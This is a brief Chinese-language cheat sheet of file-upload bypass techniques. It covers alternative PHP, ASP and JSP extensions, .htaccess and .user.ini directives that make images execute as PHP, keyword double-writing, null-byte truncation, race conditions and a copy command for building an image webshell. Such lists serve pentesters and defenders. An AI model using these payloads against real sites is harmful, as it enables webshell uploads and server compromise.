文件上传绕过套路总结
前端绕过
修改js或者修改后缀再抓包修改
content-type
抓包修改content-type
大小写绕过
畸形后缀
PHP
- php1-7
- pht
- phtml
- phar
- phps
ASP
- aspx
- cer
- cdx
- asa
- asax
JSP
- jspa
- jspx
.htaccess/.user.ini
.htaccess
上传覆盖.htaccess
SetHandler application/x-httpd-php
或者
AddType application/x-httpd-php .jpg
如果过滤了文件内容php等,写成下面这样即可
AddType application/x-httpd-ph\
p .jpg
.user.ini
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
auto_append_file=a.jpg //解析后进行包含,它包含在所有php文件执行后执行
双写绕过
适用于将php等关键字替换为空的
例如php写成pphphp,eval写成evevalal
00截断
文件名在url参数中的在文件名后加%00
文件名在POST数据中的,修改16进制
条件竞争
文件头检测
制作图片马
copy /b 1.gif+shell.php shell.gif
或者直接在一句话前加个GIF89a